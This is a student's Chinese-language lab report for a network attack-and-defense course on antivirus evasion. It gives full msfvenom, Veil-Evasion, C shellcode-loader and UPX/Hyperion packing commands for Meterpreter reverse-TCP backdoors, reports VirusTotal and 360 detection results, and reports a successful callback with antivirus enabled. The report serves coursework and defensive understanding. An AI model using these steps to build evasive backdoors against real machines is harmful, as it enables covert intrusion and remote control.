2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践
一、实验任务
-
方法
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
-
通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
-
杀软是如何检测出恶意代码的
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
- 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
-
免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
-
免杀的基本方法有哪些?
- 改变特征码
- 只有EXE
- 加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)
- 利用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译
- veil-evasion
- 半手工
- 只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 操作模式
+ 基于内存操作
+ 减少对系统的修改
+ 加入混淆作用的正常功能代码 - 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 通讯方式
- 改变特征码
三、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器
-
对实验二中生成的
20175209_backdoor.exe
后门程序通过VirusTotal和VirSCAN进行检测 -
VirusTotal检测结果如下下:
-
VirSCAN的服务器可能是出了问题,在网站中智能选择文件但点击扫描的时候却没有任何反应,而且选中的文件的路径和我的实际路径也不相同,这个问题暂时没有解决
可见这个原始的后门程序能够被大多数杀软检测出来,我们开始使用msf编码器对改后门程序进行编码:
-
通过
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.108 LPORT=5209 -f exe > exp3.exe
命令生成一次编码的后门程序;参数-b
用于去除结束符'x00'(这地方忘记截图了)- 使用VirusTotal检测结果:
- 使用VirusTotal检测结果:
-
通过
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.108 LPORT=5209 -f exe > exp3_encoded10.exe
命令生成十次编码的后门程序;参数-i
用于设置迭代次数-
生成情况如下:
-
使用VirusTotal检测结果:
-
msfvenom生成如jar之类的其他文件
-
生成jar文件:
-
命令为
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209java.jar
-
使用VirusTotal检测结果:
-
-
生成jsp文件:
-
命令为
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209jsp.jsp
-
使用VirusTotal检测结果:
-
-
生成php文件:
-
命令为
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209php.php
-
使用VirusTotal检测结果:
-
-
生成apk文件:
-
命令为
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.1.108 LPORT=5209 x> 20175209android.apk
-
使用VirusTotal检测结果:
-
有关这部分的内容可以参考MSF-Shellcode生成和使用
使用veil-evasion生成后门程序及检测
-
命令行中输入
sudo apt-get install veil
安装veil,需要选的第地方输入y -
阶段性完成后再次输入
veil
继续安装
-
安装成功后输入
veil
指令进入(这里一定要以sudo模式运行veil,否则后面运行generate
指令时会提示权限不够的错误)
-
输入
use evasion
命令进入veil-evasion
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹连接IP地址(kali的IP)
set LHOST 192.168.1.108
-
设置端口
set LPORT 5209
-
输入
generate
生成文件,接着输入生成的playload的名称veil_c_5209
,保存路径为:/var/lib/veil/output/source/veil_c_5209.exe
-
使用VirusTotal检测结果:
使用C+shellcde编程
-
通过命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=5209 -f c
生成一段shellcode
-
命令行中通过
vim 20175209.c
创建.c文件,将生产成的buf [ ]
赋值到代码中
unsigned char buf[] =
(此处过长省略)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
通过
i686-w64-mingw32-g++ 20175209.c -o 20175209.exe
命令,将.c文件转化为可执行文件
-
使用VirusTotal检测结果:
-
在windows中运行时,发现仍然可以被杀毒软件(360)查杀到
加壳工具
-
压缩壳工具UPX
-
对上一步中生成的
20175209.exe
加压缩壳得到20175209_upxed.exe
-
使用VirusTotal检测结果:
-
在运行时还是能被360检测出来
-
我们把压缩壳的程序添加至360的信任区用于测试反弹连接,测试连接的结果如下:
-
-
加密壳工具Hyperion(这里遇到了问题详见问题2)
-
通过命令
wine hyperion.exe -v 20175209_upxed.exe 20175209_upxed_Hyperion.exe
进行二次加壳
-
使用VirusTotal检测结果:
-
在使用360检测时发现经过了加密壳后的后门程序没有被检测出来
-
测试反弹 连接结果如下:
-
使用其他课程未介绍的方法
- 对shellcode进行免杀变形
-
用msfvenom生成shellcode
-
将shellcode中每一位于'0'进行异或
-
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率
-
将最终的shellcode生成为一个可执行文件
-
使用VirusTotal检测结果:
-
可以看到相比直接使用shellcode的情况能被检测出来的数目确实变少了
-
任务二 通过组合应用各种技术实现恶意代码免杀
通过C+shellcode+免杀变形+压缩壳+加密壳的方式进行组合,达到免杀的目的。
-
这里有一个很奇怪的问题经过了免杀变形的shellcode相比原来的检测结果确实变少了,但是经过了压缩壳和加密壳后再进行检测时能被检测出的数量确有所增加,这和任务一中的情况是相反的
-
但是仅仅免杀变形后的shellcode是能被360检测出来的,而经过了压缩壳和加密壳后的360是无法检测出来的。针对这个问题我尝试了几次结果都是一样的,不知道究竟是什么情况引起的。
-
使用VirusTotal检测结果最终经过加密壳的结果:
-
360的检测情况:
-
回连情况:
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
电脑环境:Win7虚拟机
-
杀软版本:12.0.0.2001
-
备用木马库:2020-03-26
-
回连情况:
四、思考:开启杀软能绝对防止电脑中恶意代码吗?
这个问题答案是显然的,很明显不能。例如这个实验中,经过了压缩壳和加密壳(二次加壳)的后门程序,虽然能在VirusTotal中被检测出来,但常规的杀毒软件并没有检测出来问题。由此可见,杀软对电脑能起到的防护作用也是有限的,对于那些真正经过了精心设计、多次加密的后门程序,是无法检测出来的。
五、实验中遇到的问题
Question1 在安装veil的时候出现错误
- 在安装veil成功结尾的时候出现了
Could not find Wine Gecko. HTML rendering will be disabled
的错误,但是这个错误在后期并没有影响到实验过程中的内容,在网上也没有查到相应的错误说明和解决方法,就暂时没有理会这个问题
Question2 veil安装失败的问题
- 在安装veil的时候我出现了一个很奇怪的问题,我在第一次安装的时候通过命令行使用命令
sudo apt-get install veil
安装的时候很顺利就成功了,在输入veil
继续安装的时候也只出现了Question1所述的问题,在做实验的过程中出现了Question4的问题,开始以为是veil安装过程中出现了问题所以打算重新安装 - 再次安装的过程中却出现了各种问题,包括远程挂断,wine安装失败,找不到Python34等问题,参考了很多学长学姐的博客和网上的方法,但是都没有成功,问题最多的就是远程挂断的问题,来来回回折腾了很久也没有成功。
- 好在最后找到了处理Hyperion.exe的问题,因此就恢复了最原始的版本继续实验的
- (这里建议有同样安装veil失败问题的同学可以多尝试接种安装的方法,目前我已经发现了很多次同一种安装方法在同一款虚拟机中有不同的报错和成功率,多试几种说不定哪一种就成功了,虽然我一个也没成功......)
Question3 运行veil的时候出现了生成的payload无法写入的问题
- 原因就是权限不够,退出veil后重新在sudo模式下重新运行即可
Question4 关于hyperion.exe无法找到的问题
-
在老师给的课程讲义中给出的
/usr/share/veil-evasion/tools/hyperion
和学长学姐的博客中给出的/usr/share/windows-binaries/hyperion/
路径下都没有找到相应的文件和程序都没有找到hyperion.exe
程序,开始在网上找了一些解决方法但是都没有成功,后来参照丁文韬同学的博客找到了相关的资源和解决方法,现已上传到百度网盘
链接:https://pan.baidu.com/s/1qcHXYbsLDiH4x8nCbFkGrA
提取码:kfxb -
在解压后的文件夹中进行相应的配置,将生成的压缩壳文件copy到目录下进行压缩壳的操作即可。
六、实验心得体会
通过本次实验对后门程序的进行加工进而防范免杀的过程有了更好的认识和了解,同时学习到了很多免杀相关的知识,也接触了测试后门程序安全性的工具;
通过本次实验,也让我认识到了杀毒软件的不足之处,虽然本次实验过程中加工的后门程序都能被VirusTool扫描出来,但是部分后门程序经过压缩壳和加密壳之后是能够躲过杀软的查杀的,因此日常在检测电脑时时候虽然检测通过但仍可能存在潜在的威胁,对于主机的防范也更加重要。
七、参考链接
MSF-Shellcode生成和使用
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践
Veil-Evasion下载、安装、使用教程- 付杰博客
kali之veil-evasion免杀安装找不到wine32包-亲测解决方案